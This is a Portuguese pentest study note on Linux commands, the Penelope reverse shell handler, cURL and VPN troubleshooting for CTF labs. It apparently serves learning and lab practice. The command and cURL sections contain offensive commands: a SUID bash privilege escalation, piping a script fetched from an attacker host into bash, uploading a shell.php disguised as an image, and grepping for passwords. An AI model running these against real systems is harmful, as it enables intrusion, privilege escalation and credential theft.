Ambiente Linux — Setup, Comandos e Dotfiles para Pentest
Configuração do ambiente de ataque no Arch Linux e Kali: ferramentas essenciais, aliases úteis, gerenciamento de rede e tunelamento com Chisel/SSH.
🐧 Linux — Comandos Essenciais
[!Fonte de onde pego os ensinamentos e dicas]
https://notebooklm.google.com/notebook/556e39f1-065f-4755-b85c-d3ae7090b385
Referência rápida de comandos Linux para hacking e administração de sistemas.
1. 📂 Navegação — Localizando-se no Sistema
Antes de agir, você precisa saber onde está e o que há ao seu redor.
| Comando | Função | Exemplo |
|---|---|---|
pwd |
Onde estou? Exibe o caminho completo do diretório atual | pwd → /home/gbmel |
ls |
O que tem aqui? Lista arquivos e pastas | ls -la (inclui ocultos + detalhes) |
ls -la |
Lista tudo, incluindo permissões, dono, tamanho e arquivos ocultos (.) |
Essencial para Privilege Escalation |
cd |
Mudar de diretório | cd /var/www/html |
cd .. |
Subir um nível na hierarquia | Sai de /home/gbmel para /home |
cd ~ |
Voltar para sua pasta pessoal (home) | Atalho útil |
cd - |
Voltar ao diretório anterior | Alterna entre dois diretórios |
O
.no Linux marca arquivos como ocultos (ex:.bash_history,.env,.ssh/). Eles só aparecem comls -la. Em hacking, arquivos ocultos frequentemente guardam senhas e configurações sensíveis.
2. 📝 Manipulação — Criando e Movendo Arquivos
| Comando | Função | Exemplo |
|---|---|---|
touch |
Cria um arquivo vazio | touch exploit.sh |
mkdir |
Cria uma nova pasta | mkdir -p /tmp/tools (-p cria intermediárias) |
cp |
Copia arquivos ou pastas (-r para pastas) |
cp shell.php /var/www/html/ |
mv |
Move ou renomeia arquivos/pastas | mv script.py /tmp/ |
rm |
Remove arquivos | rm arquivo.txt |
rm -rf |
Remove pasta inteira sem confirmação | ⚠️ Sem lixeira! Irreversível! |
chmod |
Altera permissões de arquivos | chmod +x script.sh (torna executável) |
chown |
Altera o dono de um arquivo | chown root:root file |
3. 🔍 Visualização e Busca — Analisando Conteúdo
Essencial para ler configurações ou encontrar informações em textos longos.
| Comando | Função | Uso em Hacking |
|---|---|---|
cat |
Exibe todo o conteúdo de um arquivo | cat /etc/passwd |
less / more |
Abre o arquivo por páginas (navegar com setas) | Arquivos grandes sem poluir o terminal |
head -n 20 |
Exibe as primeiras 20 linhas | Verificar início de logs |
tail -n 20 |
Exibe as últimas 20 linhas | Verificar logs recentes |
tail -f |
Monitora um arquivo em tempo real | tail -f /var/log/auth.log |
grep |
Pesquisa palavras/padrões dentro de arquivos | Comando mais usado em segurança! |
grep -r "password" /etc/ |
Busca recursiva por "password" em todos os arquivos de /etc | Encontrar senhas em configs |
grep -i |
Busca case-insensitive | grep -i "secret" .env |
find |
Busca arquivos por nome, tipo, permissão | find / -name "*.conf" |
find / -perm -u=s |
Busca binários com SUID | Fundamental para PrivEsc! |
wc -l |
Conta número de linhas | cat /etc/passwd | wc -l |
4. 👤 Sistema e Identidade — Quem é você?
| Comando | Função | Uso em Hacking |
|---|---|---|
whoami |
Mostra o usuário logado | Primeira coisa após obter shell |
id |
Mostra UID, GID e grupos | Verificar grupos especiais (docker, lxd) |
sudo -l |
Lista o que pode executar como root | Vetor #1 de PrivEsc! |
sudo su |
Virar root (se tiver permissão) | Escalar privilégios |
su usuario |
Trocar para outro usuário | Pivotar com credenciais encontradas |
uname -a |
Versão do kernel e sistema | Buscar kernel exploits |
cat /etc/os-release |
Distribuição e versão do OS | Identificar o sistema |
df -h |
Espaço livre em disco (legível) | Verificar partições |
free -h |
Uso de memória RAM | Diagnóstico do sistema |
env |
Mostra variáveis de ambiente | Pode conter senhas/tokens! |
history |
Histórico de comandos do usuário | Procurar senhas digitadas |
5. ⚙️ Processos e Rede — O que o sistema está fazendo?
| Comando | Função | Uso em Hacking |
|---|---|---|
ps aux |
Lista TODOS os processos rodando | Identificar serviços/processos de root |
top / htop |
Consumo de CPU e RAM em tempo real | Monitoramento |
kill [PID] |
Encerra um processo pelo ID | Matar processos travados |
kill -9 [PID] |
Força encerramento | Quando kill normal não funciona |
ping |
Testa conectividade com IP/host | Verificar se o alvo está vivo |
ifconfig / ip addr |
Configurações de rede e IP | Descobrir interfaces e IPs |
ip route |
Tabela de roteamento | Identificar o gateway |
netstat -tulnp |
Portas abertas e serviços escutando | Encontrar serviços internos |
ss -tulnp |
Alternativa moderna ao netstat | Mesmo uso |
curl / wget |
Transferência de arquivos e requisições HTTP | Ver seção dedicada: [[#10. 🌐 cURL — Canivete Suíço HTTP]] |
6. 📦 Gerenciamento de Pacotes
| Distro | Instalar | Atualizar | Buscar |
|---|---|---|---|
| Debian/Kali/Ubuntu | sudo apt install pacote |
sudo apt update && sudo apt upgrade |
apt search pacote |
| Arch/BlackArch | sudo pacman -S pacote |
sudo pacman -Syu |
pacman -Ss pacote |
7. 🔐 Permissões Linux — Entendendo o ls -la
-rwxr-xr-x 1 root root 4096 Jan 15 10:00 script.sh
│├─┤├─┤├─┤ │ │ │ │ │ └── Nome do arquivo
││ │ │ │ │ │ │ └── Data de modificação
││ │ │ │ │ │ └── Tamanho em bytes
││ │ │ │ │ └── Grupo dono
││ │ │ │ └── Usuário dono
││ │ │ └── Número de links
││ │ └── Permissões de OUTROS (o+rwx)
││ └── Permissões do GRUPO (g+rwx)
│└── Permissões do DONO (u+rwx)
└── Tipo (- = arquivo, d = diretório, l = link)
| Letra | Valor | Significado |
|---|---|---|
r |
4 | Read (ler) |
w |
2 | Write (escrever) |
x |
1 | Execute (executar) |
chmod 777 arquivo # rwxrwxrwx — todos podem tudo (INSEGURO!)
chmod 755 arquivo # rwxr-xr-x — dono faz tudo, resto lê/executa
chmod 644 arquivo # rw-r--r-- — dono lê/escreve, resto só lê
chmod +s arquivo # SUID bit — executa como DONO do arquivo (perigo!)
Em hacking:
chmod +s /bin/bashseguido debash -p= root instantâneo. É o payload mais comum de privilege escalation.
8. 🔧 Redirecionamento e Pipes
| Símbolo | Função | Exemplo |
|---|---|---|
> |
Redireciona saída para arquivo (sobrescreve) | echo "payload" > shell.sh |
>> |
Redireciona saída (append — adiciona ao final) | echo "linha" >> arquivo.txt |
| |
Pipe — envia saída de um comando como entrada de outro | cat /etc/passwd | grep root |
2>/dev/null |
Descarta mensagens de erro | find / -name "*.conf" 2>/dev/null |
& |
Executa em background | nc -lvnp 4444 & |
&& |
Executa o próximo SE o anterior funcionar | cd /tmp && wget http://... |
9. 🐚 Penelope — Reverse Shell Handler
O que é: Substituto avançado do
nc -lvnp. Recebe reverse shells e faz upgrade automático para TTY interativa.
GitHub: https://github.com/brightio/penelope
Caminho:/home/gbmel/.local/bin/penelope
Iniciar o Listener
# Listener na porta 4444 (padrão)
penelope
# Listener em porta específica
penelope -p 9001
# Listener em múltiplas portas ao mesmo tempo
penelope -p 4444,5555,6666
# Listener em interface específica (padrão: 0.0.0.0 = todas)
penelope -i 10.10.14.5
# Iniciar já no menu principal (sem esperar shell)
penelope -M
Flags Importantes
penelope -a # Mostra payloads de reverse shell prontos para copiar!
penelope -l # Lista interfaces de rede disponíveis
penelope -L # Desabilita log de sessão
penelope -S # Aceita apenas 1 sessão (single session)
penelope -C # Não auto-attach em novas sessões
penelope -U # Desabilita upgrade automático da shell
penelope -O # Modo OSCP-safe (sem ferramentas extras)
penelope -m 3 # Manter 3 sessões por alvo
Servidor HTTP (transferir arquivos para o alvo)
# Servir arquivos da pasta atual na porta 8000
penelope -s
# Servir em porta específica
penelope -s -p 8080
# No alvo, baixar com:
# wget http://SEU_IP:8000/linpeas.sh
Bind Shell (conectar a uma porta aberta no alvo)
# Conectar a um bind shell no alvo
penelope -c ALVO_IP -p PORTA
Comandos Internos (dentro da Penelope)
Após receber uma shell, use estes comandos:
| Comando | Função |
|---|---|
Ctrl+C |
Vai para o menu (NÃO mata a sessão!) |
Enter |
Volta para a sessão ativa |
sessions |
Lista todas as shells conectadas |
use 1 |
Troca para sessão nº 1 |
download /etc/passwd |
Baixa arquivo do alvo → sua máquina |
upload linpeas.sh /tmp/ |
Envia arquivo sua máquina → alvo |
spawn |
Abre novo listener em outra porta |
upgrade |
Força upgrade para PTY (geralmente automático) |
dir |
Muda o diretório de downloads |
kill 1 |
Encerra sessão nº 1 |
exit |
Sai da Penelope |
Dica: Use
penelope -aquando já estiver no listener — ele gera e mostra os payloads de reverse shell prontos para copiar e colar no alvo!
10. 🌐 cURL — Canivete Suíço HTTP e Transferência
O que é: Ferramenta de linha de comando para transferência de dados utilizando múltiplos protocolos (HTTP, HTTPS, FTP, FTPS, SFTP, etc.). Em pentest e CTF, funciona como um navegador sem interface gráfica para interagir diretamente com APIs, debugar cabeçalhos, testar injeções e transferir arquivos para o alvo.
10.1 Tabela de Flags Essenciais
| Flag (Curta) | Flag (Longa) | Função | Exemplo de Aplicação |
|---|---|---|---|
-I |
--head |
Retorna apenas os cabeçalhos de resposta (HEAD request) | Banner grabbing rápido de web servers |
-i |
--include |
Inclui cabeçalhos HTTP junto com o corpo da resposta | Análise de cookies (Set-Cookie) e status codes |
-v |
--verbose |
Modo verboso: exibe o handshake TLS, request e response | Diagnóstico de conexão e depuração profunda |
-s |
--silent |
Modo silencioso (oculta barra de progresso e erros) | Uso em pipelines e scripts bash (grep, jq) |
-o <arq> |
--output <arq> |
Salva a resposta no arquivo especificado | Download direto com controle de nome |
-O |
--remote-name |
Salva o arquivo preservando o nome original da URL | Download rápido de exploits/scripts |
-X <MÉT> |
--request <MÉT> |
Especifica o método HTTP (GET, POST, PUT, DELETE) |
Interação com rotas de API |
-d <dado> |
--data <dado> |
Envia dados no body (POST por padrão com form-urlencoded) |
Submissão de parâmetros ou JSON |
-H <cab> |
--header <cab> |
Adiciona um cabeçalho HTTP personalizado | Injeção de Authorization: Bearer, Content-Type |
-L |
--location |
Segue redirecionamentos automáticos (301, 302, 307) |
Evita parar em páginas de redirect |
-k |
--insecure |
Permite conexões TLS/SSL com certificados inválidos/autoassinados | CTFs e ambientes internos sem certificado válido |
-x <prx> |
--proxy <prx> |
Roteia o tráfego através de um proxy HTTP/SOCKS | Envio direto para o Burp Suite (http://127.0.0.1:8080) |
-u <u:s> |
--user <u:s> |
Autenticação HTTP Basic ou Digest (usuario:senha) |
Acesso a painéis protegidos por .htaccess |
-b <ck> |
--cookie <ck> |
Envia cookies no request (string direta ou arquivo) | Sessão autenticada (PHPSESSID=...) |
-c <arq> |
--cookie-jar <arq> |
Salva os cookies recebidos da resposta em um arquivo | Persistência de sessão pós-login |
-F <f=v> |
--form <f=v> |
Envia dados como multipart/form-data |
Upload de arquivos e WebShells |
10.2 Modos de Uso Práticos
1. Reconhecimento Rápido e Análise de Headers
# Obter apenas os cabeçalhos (Status Code, Server, X-Powered-By)
curl -I https://alvo.com
# Seguir redirects silenciosamente e retornar apenas o HTTP Status Code final
curl -s -L -o /dev/null -w "%{http_code}\n" https://alvo.com
2. Interação com APIs REST e GraphQL
# Requisição POST enviando JSON autenticado via Bearer Token
curl -s -X POST "https://alvo.com/api/v1/profile" \
-H "Authorization: Bearer SEU_JWT_TOKEN" \
-H "Content-Type: application/json" \
-d '{"role":"admin","debug":true}'
3. Rotear Tráfego para o Burp Suite
# Enviar requisição direta para o Burp Suite local (porta padrão 8080) com bypass SSL
curl -k -x http://127.0.0.1:8080 https://alvo.com/login
4. Transferência de Arquivos no Alvo (Post-Exploitation)
# No host comprometido: baixar ferramenta da máquina atacante e salvar em /tmp
curl -s http://10.10.14.2:8000/linpeas.sh -o /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh
# Execução direta na memória via pipe (sem tocar o disco)
curl -s http://10.10.14.2:8000/linpeas.sh | bash
5. Upload de Arquivos / Multipart Form Data
# Simular upload de arquivo (o '@' indica caminho local do arquivo)
curl -X POST "https://alvo.com/upload" \
-H "Cookie: PHPSESSID=session_ativa" \
-F "avatar=@/tmp/shell.php;type=image/png" \
-F "submit=Upload"
Relacionado: [[Process of Hacking]] (Reconhecimento) • [[OWASP API Top 10]] (Testes de endpoints de API) • [[Linux Privilege Escalation]] (Transferência de enum scripts)
Troubleshooting de Redes, Processos e VPN (OpenVPN/Pritunl)
Referência teórica de protocolos, camadas e roteamento: [[REDES -]]
Guia operacional para auditoria manual de processos, interfaces virtuaistun, tabelas de rotas e estabilização de túneis VPN (OpenVPN / Pritunl Client) no Arch Linux.
Tabela Comparativa de Ferramentas de Diagnóstico
| Ferramenta / Comando | Camada / Escopo | Finalidade Principal | Exemplo Operacional |
|---|---|---|---|
pgrep / ps |
Processos / SO | Identificar PIDs ativos, inspecionar linha de comando e detectar processos órfãos em background | pgrep -a openvpn |
ip a / ip link |
Camada 2 / 3 | Auditar status (UP/DOWN), flags, MTU e estatísticas de pacotes/erros em interfaces físicas e tun |
ip -s link show dev tun0 |
ip route |
Camada 3 (Rede) | Inspecionar gateway padrão, métricas de rota e rotas injetadas via VPN (prevenção de routing leak) | ip route show table main |
ss |
Camada 4 (Transporte) | Auditar sockets abertos, buffers de transmissão (Send-Q/Recv-Q) e mapear portas UDP/TCP a PIDs |
ss -uap |
openvpn --verb |
Aplicação / Túnel | Nível de log em tempo real para depuração de handshake TLS, keepalive e negociação de cifras | openvpn --config lab.ovpn --verb 4 |
1. Auditoria e Rastreio de Processos (OpenVPN & Pritunl)
Instâncias do OpenVPN ou do serviço em background do Pritunl (pritunl-client / pritunl-client-service) podem travar silenciosamente, retendo sockets abertos e a interface virtual tun.
# Localizar todos os processos do OpenVPN exibindo a linha de comando completa com argumentos (-a)
pgrep -a openvpn
# Listar processos em hierarquia de árvore (--forest), exibindo PID, PPID, usuário e comando
ps -eo pid,ppid,user,stat,comm,args --forest | grep -E "openvpn|pritunl"
# Encerrar graciosamente processo travado pelo PID (SIGTERM - 15)
kill -15 <PID>
# Forçar encerramento imediato caso o processo ignore o SIGTERM (SIGKILL - 9)
kill -9 <PID>
[!WARNING]
Detecção de Processos Órfãos (PPID 1):
Quando o processo pai (uma janela de terminal encerrada incorretamente, um script wrapper ou a interface GUI do Pritunl) morre sem fechar a sessão da VPN, o processo do OpenVPN é adotado peloinit/systemd(PPID 1).
Esse processo órfão permanece em execução oculta, mantendo a interfacetun0alocada e retendo as rotas de rede no kernel. Ao tentar reconectar, ocorrem erros de dispositivo ocupado (TUN/TAP device tun0 already exists) ou portas UDP travadas.
Para auditar e isolar processos órfãos da VPN:ps -ef | awk '$3 == 1 && /openvpn|pritunl/ {print "PID:", $2, "| PPID:", $3, "| CMD:", $8, $9}'
2. Inspeção de Interfaces de Rede e Estatísticas (iproute2)
A interface de túnel (tun0, tun1 ou pritunl...) é criada no kernel através do driver virtual universal tun.
# Listar todas as interfaces com endereçamento IPv4/IPv6 de forma concisa e resumida (-br)
ip -br a
# Inspecionar detalhes da interface virtual tun0 (status UP/DOWN, MTU e escopo)
ip a show dev tun0
# Exibir estatísticas detalhadas (-s: contadores de bytes, pacotes transmitidos, erros RX/TX e drops)
ip -s link show dev tun0
# Derrubar e remover manualmente interface tun residual deixada por processo finalizado incorretamente
sudo ip link set dev tun0 down
sudo ip link delete dev tun0
[!NOTE]
No Arch Linux, o módulotundeve estar presente no kernel. Se a criação da interface falhar com o erroCannot open TUN/TAP dev /dev/net/tun: No such file or directory, carregue o módulo manualmente:lsmod | grep tun || sudo modprobe tun
3. Diagnóstico de Rotas e Prevenção de Routing Leak
Ao estabelecer o túnel, o OpenVPN aplica rotas para direcionar o tráfego do laboratório para o gateway da VPN. Caso as métricas ou sub-redes estejam incorretas, os pacotes podem vazar pela interface física local ou interromper o acesso à rede do alvo.
# Exibir a tabela de rotas padrão do sistema
ip route show
# Identificar exatamente por qual interface e gateway um IP de destino (ex: máquina do HTB/CTF) será alcançado
ip route get 10.10.10.10
# Adicionar manualmente rota estática para a sub-rede do laboratório apontando para a interface tun0
sudo ip route add 10.10.10.0/24 dev tun0
# Deletar rota conflitante que esteja roteando tráfego do laboratório para o gateway local (ex: wlan0)
sudo ip route del 10.10.10.0/24 dev wlan0
4. Análise de Sockets e Portas com ss
O OpenVPN utiliza primariamente datagramas UDP (portas 1194, 1195 ou portas dinâmicas no Pritunl). O ss inspeciona as estruturas de socket diretamente via netlink.
# Listar sockets UDP (-u), exibindo conexões ativas e ouvintes (-a) com o PID/nome do processo (-p)
# Requer sudo para visualizar o PID de daemons e processos que não pertencem ao usuário atual
sudo ss -uap
# Filtrar sockets especificando a porta de comunicação do túnel VPN (ex: porta 1194)
sudo ss -uap '( sport = :1194 or dport = :1194 )'
# Visualizar buffers de recebimento (Recv-Q) e envio (Send-Q) em sockets UDP numéricos (-n)
sudo ss -unap
[!NOTE]
Filas persistentemente preenchidas emRecv-Q(pacotes recebidos do túnel aguardando leitura pela aplicação) ouSend-Q(pacotes criptografados aguardando envio pelo socket) indicam saturação de banda, oscilação severa de rota ou gargalo de processamento da cifra criptográfica na CPU.
5. Estabilidade de Conexão, MTU e Keepalive
Em redes Wi-Fi domésticas, conexões com perda de pacotes ou ISPs sob CGNAT, túneis UDP sofrem quedas periódicas ou travam transferências extensas.
# Executar o OpenVPN em foreground com verbosidade elevada (--verb 4 exibe eventos de pacote e keepalive)
sudo openvpn --config /caminho/lab.ovpn --verb 4
# Testar o Path MTU até o gateway da VPN sem fragmentar (-M do: ativa DF bit; -s: tamanho do payload ICMP)
ping -M do -s 1472 10.10.14.1
[!WARNING]
Quedas por Timeout de Keepalive (ping-restart 60):
Em conexões Wi-Fi com oscilação ou perda temporária de datagramas UDP, as mensagens de keepalive do OpenVPN podem ser descartadas.
A diretiva padrão do OpenVPNkeepalive 10 60envia um pacote ping a cada 10 segundos e, se 60 segundos se passarem sem resposta do servidor remoto, a conexão é declarada morta ([soft,ping-restart]), disparando:Inactivity timeout (--ping-restart), restarting.
Para estabilizar conexões instáveis, adicione ou substitua no arquivo.ovpn:keepalive 10 120 ping-restart 120
[!TIP]
Ajustes de Estabilização de MTU (mssfix 1360):
O MTU padrão da rede física é 1500 bytes. O encapsulamento do túnel adiciona overhead significativo: cabeçalho IP (20 bytes) + UDP (8 bytes) + cabeçalho OpenVPN + vetor de inicialização (IV) e HMAC de integridade.
Pacotes que atingem 1500 bytes no túnel ultrapassam o MTU físico externo, provocando fragmentação IP ou descarte silencioso em roteadores intermediários (MTU Black Hole).
Sintoma típico: Opingfunciona normalmente, mas conexões SSH, varreduras donmapou requisições HTTP viacurlcongelam sem retornar dados.
Para solucionar, force o ajuste do Maximum Segment Size do TCP no arquivo.ovpn:tun-mtu 1500 mssfix 1360O
mssfix 1360instrui o OpenVPN a interceptar e reescrever o MSS dos pacotes TCP que passam pelo túnel para no máximo 1360 bytes, assegurando que o pacote final encapsulado nunca exceda o limite de 1500 bytes da interface física.
6. Procedimento de Recuperação Rápida no Arch Linux
Quando a VPN do HTB, Hacking Club ou Pritunl travar ou apresentar falha de conexão:
# 1. Encerrar imediatamente instâncias órfãs ou duplicadas do OpenVPN e Pritunl
sudo killall -9 openvpn pritunl-client 2>/dev/null
# 2. Deletar interfaces tun presas no kernel
sudo ip link delete dev tun0 2>/dev/null
# 3. Validar se o daemon de DNS (systemd-resolved) não reteve servidores inacessíveis
resolvectl status 2>/dev/null || cat /etc/resolv.conf
# 4. Iniciar conexão aplicando estabilização de MSS e verbosidade controlada
sudo openvpn --config lab.ovpn --mssfix 1360 --verb 3
Links Bidirecionais: [[REDES -]] (Conceitos teóricos de TCP, UDP, Camadas OSI e Roteamento) • [[Kali linux & Arch e minhas anotações basicas]]